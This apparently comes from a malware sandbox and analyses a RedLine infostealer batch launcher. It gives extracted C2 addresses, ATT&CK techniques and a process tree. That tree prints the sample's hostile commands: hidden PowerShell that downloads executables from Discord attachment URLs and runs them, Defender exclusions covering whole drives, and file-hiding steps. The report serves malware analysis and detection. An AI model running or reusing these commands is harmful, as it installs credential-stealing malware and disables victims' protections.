redline | 36c3824bee3a74e57b85384363df0c51bd36b6bf8f965d1ae09303fdb58cd382

Analysis

max time kernel
157s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2022 12:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Launcher/Opener.bat
Size

2KB
MD5

8092113dbaa8ee234de6ee8039b7db66
SHA1

6cdb65dd9e6aaa54a82ff3ac10e1b9b40bfc8e39
SHA256

576e869202da1137de261ed1519ad0487331a69db5890b0746b5bf4d310d3992
SHA512

badfd71b652f9a3c91c690269e0ef36496998614a0d7c30bbbed8bebb163bac5590fed3188ae907829536cb96a008299ad63d6950ebb9623f927877f89197754

Score

10^/10

redline @moriwws h infostealer persistence spyware

Malware Config

Extracted

Family

redline

Botnet

@moriwWs

litrazalilibe.xyz:81

Attributes

auth_value
c2f987b4e6cd55ad1315311e92563eca

Extracted

Family

redline

185.186.142.127:17355

Attributes

auth_value
2d7be1ed915f7e5f91af0977d4175cb7

Extracted

Family

redline

Botnet

185.106.92.139:16578

Attributes

auth_value
d5aafe5ab67bae4a3f7cda3b2e30f9b7

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

Processes:

resource	yara_rule
behavioral6/memory/153756-218-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
C:\Users\Admin\AppData\Roaming\PF9D9ZB23OPUY3J\app.exe	family_redline
C:\Users\Admin\AppData\Roaming\PF9D9ZB23OPUY3J\app.exe	family_redline
behavioral6/memory/48072-273-0x0000000000050000-0x0000000000070000-memory.dmp	family_redline

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

18 1068 powershell.exe
19 3604 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

gamex.exesg.exerog.exexerax.exegor.exegg.exeapp.exe

pid process

3104 gamex.exe
1292 sg.exe
4812 rog.exe
21628 xerax.exe
31624 gor.exe
48428 gg.exe
48072 app.exe

flow	pid	process
18	1068	powershell.exe
19	3604	powershell.exe

pid	process
3104	gamex.exe
1292	sg.exe
4812	rog.exe
21628	xerax.exe
31624	gor.exe
48428	gg.exe
48072	app.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

sg.exegg.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	sg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	gg.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

rog.exexerax.exe

description	pid	process	target process
PID 4812 set thread context of 153756	4812	rog.exe	AppLaunch.exe
PID 21628 set thread context of 46016	21628	xerax.exe	AppLaunch.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 3 IoCs

Processes:

msedge.exemsedge.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2891029575-1462575-1165213807-1000\{2E749D98-99C0-4DF9-9CD2-7B12B5038434}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2891029575-1462575-1165213807-1000\{D8009FF4-83AE-44D7-BE52-A06F4E3F585D}	msedge.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exegamex.exepowershell.exepowershell.exemsedge.exemsedge.exemsedge.exeAppLaunch.exeAppLaunch.exemsedge.exemsedge.exemsedge.exe

pid	process
4588	powershell.exe
4588	powershell.exe
740	powershell.exe
740	powershell.exe
4780	powershell.exe
4780	powershell.exe
3796	powershell.exe
3796	powershell.exe
2288	powershell.exe
2288	powershell.exe
1068	powershell.exe
1068	powershell.exe
3104	gamex.exe
3604	powershell.exe
3604	powershell.exe
4988	powershell.exe
4988	powershell.exe
46212	msedge.exe
46212	msedge.exe
2032	msedge.exe
2032	msedge.exe
47532	msedge.exe
47532	msedge.exe
46016	AppLaunch.exe
46016	AppLaunch.exe
153756	AppLaunch.exe
48488	msedge.exe
48488	msedge.exe
48156	msedge.exe
48156	msedge.exe
49036	msedge.exe
49036	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

msedge.exemsedge.exe

pid process

2032 msedge.exe
2032 msedge.exe
2032 msedge.exe
2032 msedge.exe
2032 msedge.exe
48156 msedge.exe
48156 msedge.exe
48156 msedge.exe

pid	process
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
48156	msedge.exe
48156	msedge.exe
48156	msedge.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exegamex.exepowershell.exepowershell.exeAppLaunch.exeAppLaunch.exegg.exe

description	pid	process
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	3104	gamex.exe
Token: SeDebugPrivilege	3604	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	153756	AppLaunch.exe
Token: SeDebugPrivilege	46016	AppLaunch.exe
Token: SeDebugPrivilege	48428	gg.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

msedge.exemsedge.exe

pid process

2032 msedge.exe
2032 msedge.exe
2032 msedge.exe
48156 msedge.exe

pid	process
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
48156	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.execmd.execmd.execmd.exepowershell.exegamex.exepowershell.exeexplorer.exemsedge.exesg.exe

description	pid	process	target process
PID 5044 wrote to memory of 4588	5044	cmd.exe	powershell.exe
PID 5044 wrote to memory of 4588	5044	cmd.exe	powershell.exe
PID 5044 wrote to memory of 740	5044	cmd.exe	powershell.exe
PID 5044 wrote to memory of 740	5044	cmd.exe	powershell.exe
PID 5044 wrote to memory of 1056	5044	cmd.exe	cmd.exe
PID 5044 wrote to memory of 1056	5044	cmd.exe	cmd.exe
PID 1056 wrote to memory of 4056	1056	cmd.exe	attrib.exe
PID 1056 wrote to memory of 4056	1056	cmd.exe	attrib.exe
PID 1056 wrote to memory of 204	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 204	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 308	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 308	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 4316	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 4316	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 2492	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 2492	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 1692	1056	cmd.exe	certutil.exe
PID 1056 wrote to memory of 1692	1056	cmd.exe	certutil.exe
PID 5044 wrote to memory of 4788	5044	cmd.exe	cmd.exe
PID 5044 wrote to memory of 4788	5044	cmd.exe	cmd.exe
PID 4788 wrote to memory of 3752	4788	cmd.exe	attrib.exe
PID 4788 wrote to memory of 3752	4788	cmd.exe	attrib.exe
PID 4788 wrote to memory of 1544	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 1544	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 4984	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 4984	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 1876	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 1876	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 3892	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 3892	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 4224	4788	cmd.exe	certutil.exe
PID 4788 wrote to memory of 4224	4788	cmd.exe	certutil.exe
PID 5044 wrote to memory of 4780	5044	cmd.exe	powershell.exe
PID 5044 wrote to memory of 4780	5044	cmd.exe	powershell.exe
PID 5044 wrote to memory of 756	5044	cmd.exe	cmd.exe
PID 5044 wrote to memory of 756	5044	cmd.exe	cmd.exe
PID 756 wrote to memory of 1904	756	cmd.exe	cacls.exe
PID 756 wrote to memory of 1904	756	cmd.exe	cacls.exe
PID 756 wrote to memory of 3796	756	cmd.exe	powershell.exe
PID 756 wrote to memory of 3796	756	cmd.exe	powershell.exe
PID 756 wrote to memory of 2288	756	cmd.exe	powershell.exe
PID 756 wrote to memory of 2288	756	cmd.exe	powershell.exe
PID 756 wrote to memory of 1736	756	cmd.exe	cmd.exe
PID 756 wrote to memory of 1736	756	cmd.exe	cmd.exe
PID 1736 wrote to memory of 1068	1736	cmd.exe	powershell.exe
PID 1736 wrote to memory of 1068	1736	cmd.exe	powershell.exe
PID 1068 wrote to memory of 3104	1068	powershell.exe	gamex.exe
PID 1068 wrote to memory of 3104	1068	powershell.exe	gamex.exe
PID 3104 wrote to memory of 3604	3104	gamex.exe	powershell.exe
PID 3104 wrote to memory of 3604	3104	gamex.exe	powershell.exe
PID 3104 wrote to memory of 1292	3104	gamex.exe	sg.exe
PID 3104 wrote to memory of 1292	3104	gamex.exe	sg.exe
PID 3104 wrote to memory of 1292	3104	gamex.exe	sg.exe
PID 3104 wrote to memory of 4988	3104	gamex.exe	powershell.exe
PID 3104 wrote to memory of 4988	3104	gamex.exe	powershell.exe
PID 4988 wrote to memory of 2984	4988	powershell.exe	explorer.exe
PID 4988 wrote to memory of 2984	4988	powershell.exe	explorer.exe
PID 396 wrote to memory of 2032	396	explorer.exe	msedge.exe
PID 396 wrote to memory of 2032	396	explorer.exe	msedge.exe
PID 1736 wrote to memory of 4832	1736	cmd.exe	cmd.exe
PID 1736 wrote to memory of 4832	1736	cmd.exe	cmd.exe
PID 2032 wrote to memory of 1984	2032	msedge.exe	msedge.exe
PID 2032 wrote to memory of 1984	2032	msedge.exe	msedge.exe
PID 1292 wrote to memory of 4812	1292	sg.exe	rog.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

3752 attrib.exe
4056 attrib.exe

pid	process
3752	attrib.exe
4056	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Launcher\Opener.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell ren zzen.dll -newname kola.zip
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Expand-Archive kola.zip -DestinationPath (Get-Location).path
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:740

C:\Windows\system32\cmd.exe
cmd start cmd /c gpasser.cmd ks.avi
2⤵
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\system32\attrib.exe
attrib -h -s Locker
3⤵
- Views/modifies file attributes
PID:4056

C:\Windows\system32\certutil.exe
CertUtil -hashfile ks.avi MD2
3⤵
PID:204

C:\Windows\system32\certutil.exe
CertUtil -hashfile ks.avi MD5
3⤵
PID:308

C:\Windows\system32\certutil.exe
CertUtil -hashfile ks.avi SHA384
3⤵
PID:4316

C:\Windows\system32\certutil.exe
CertUtil -hashfile ks.avi SHA512
3⤵
PID:2492

C:\Windows\system32\certutil.exe
CertUtil -hashfile ks.avi SHA256
3⤵
PID:1692

C:\Windows\system32\cmd.exe
cmd start cmd /c gpasser.cmd bypasser
2⤵
- Suspicious use of WriteProcessMemory
PID:4788

C:\Windows\system32\attrib.exe
attrib -h -s Locker
3⤵
- Views/modifies file attributes
PID:3752

C:\Windows\system32\certutil.exe
CertUtil -hashfile bypasser MD2
3⤵
PID:1544

C:\Windows\system32\certutil.exe
CertUtil -hashfile bypasser MD5
3⤵
PID:4984

C:\Windows\system32\certutil.exe
CertUtil -hashfile bypasser SHA384
3⤵
PID:1876

C:\Windows\system32\certutil.exe
CertUtil -hashfile bypasser SHA512
3⤵
PID:3892

C:\Windows\system32\certutil.exe
CertUtil -hashfile bypasser SHA256
3⤵
PID:4224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell ren ks.avi -newname ks.bat
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K ks.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:756

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
3⤵
PID:1904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe -WindowStyle hidden Add-MpPreference -ExclusionPath $env:temp,C:\,D:\,E:\,H:\,F:\,G:\ -Force
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell ren bypasser -newname byp.bat
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K byp.bat
3⤵
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w h -exec bypass Invoke-WebRequest -uri https://cdn.discordapp.com/attachments/928555864439283742/1029034084577591337/gamex.exe -OutFile "$env:temp\gamex.exe";iex $env:temp\gamex.exe
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1068

C:\Users\Admin\AppData\Local\Temp\gamex.exe
"C:\Users\Admin\AppData\Local\Temp\gamex.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -WindowStyle Hidden Invoke-WebRequest -uri https://cdn.discordapp.com/attachments/928555864439283742/1028624423235878932/sg.exe -OutFile C:\Users\Admin\AppData\Local\Temp\sg.exe
6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3604

C:\Users\Admin\AppData\Local\Temp\sg.exe
"C:\Users\Admin\AppData\Local\Temp\sg.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1292

C:\Users\Admin\AppData\Local\Temp\rog.exe
"C:\Users\Admin\AppData\Local\Temp\rog.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4812

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:153756

C:\Users\Admin\AppData\Local\Temp\xerax.exe
"C:\Users\Admin\AppData\Local\Temp\xerax.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:21628

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:46016

C:\Users\Admin\AppData\Local\Temp\gor.exe
"C:\Users\Admin\AppData\Local\Temp\gor.exe"
7⤵
- Executes dropped EXE
PID:31624

C:\Users\Admin\AppData\Local\Temp\gg.exe
"C:\Users\Admin\AppData\Local\Temp\gg.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:48428

C:\Users\Admin\AppData\Roaming\PF9D9ZB23OPUY3J\app.exe
"C:\Users\Admin\AppData\Roaming\PF9D9ZB23OPUY3J\app.exe"
8⤵
- Executes dropped EXE
PID:48072

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/RCpnmN6Tgb
8⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:48156

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xfc,0x10c,0x7ffdd48646f8,0x7ffdd4864708,0x7ffdd4864718
9⤵
PID:48176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:3
9⤵
- Suspicious behavior: EnumeratesProcesses
PID:48488

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
9⤵
PID:48380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:8
9⤵
PID:48500

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
9⤵
PID:48632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
9⤵
PID:48720

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4240 /prefetch:8
9⤵
PID:48816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
9⤵
PID:48944

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3776 /prefetch:8
9⤵
PID:49020

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2140,17126930261008058197,17796606672091520428,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3908 /prefetch:8
9⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:49036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" explorer https://discord.gg/fzjKpcHsVG
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" https://discord.gg/fzjKpcHsVG
7⤵
PID:2984

C:\Windows\system32\cmd.exe
cmd /c del "C:\Users\Admin\AppData\Local\Temp\Launcher\byp.bat"
4⤵
PID:4832

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/fzjKpcHsVG
2⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ffdd48646f8,0x7ffdd4864708,0x7ffdd4864718
3⤵
PID:1984

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
3⤵
PID:46196

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2388 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:46212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3200 /prefetch:8
3⤵
PID:46308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3824 /prefetch:1
3⤵
PID:46776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
3⤵
PID:46800

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5064 /prefetch:8
3⤵
PID:46952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5840 /prefetch:8
3⤵
PID:47068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5928 /prefetch:1
3⤵
PID:47132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,15839869801610135701,15947600911041511534,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5936 /prefetch:1
3⤵
PID:47148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
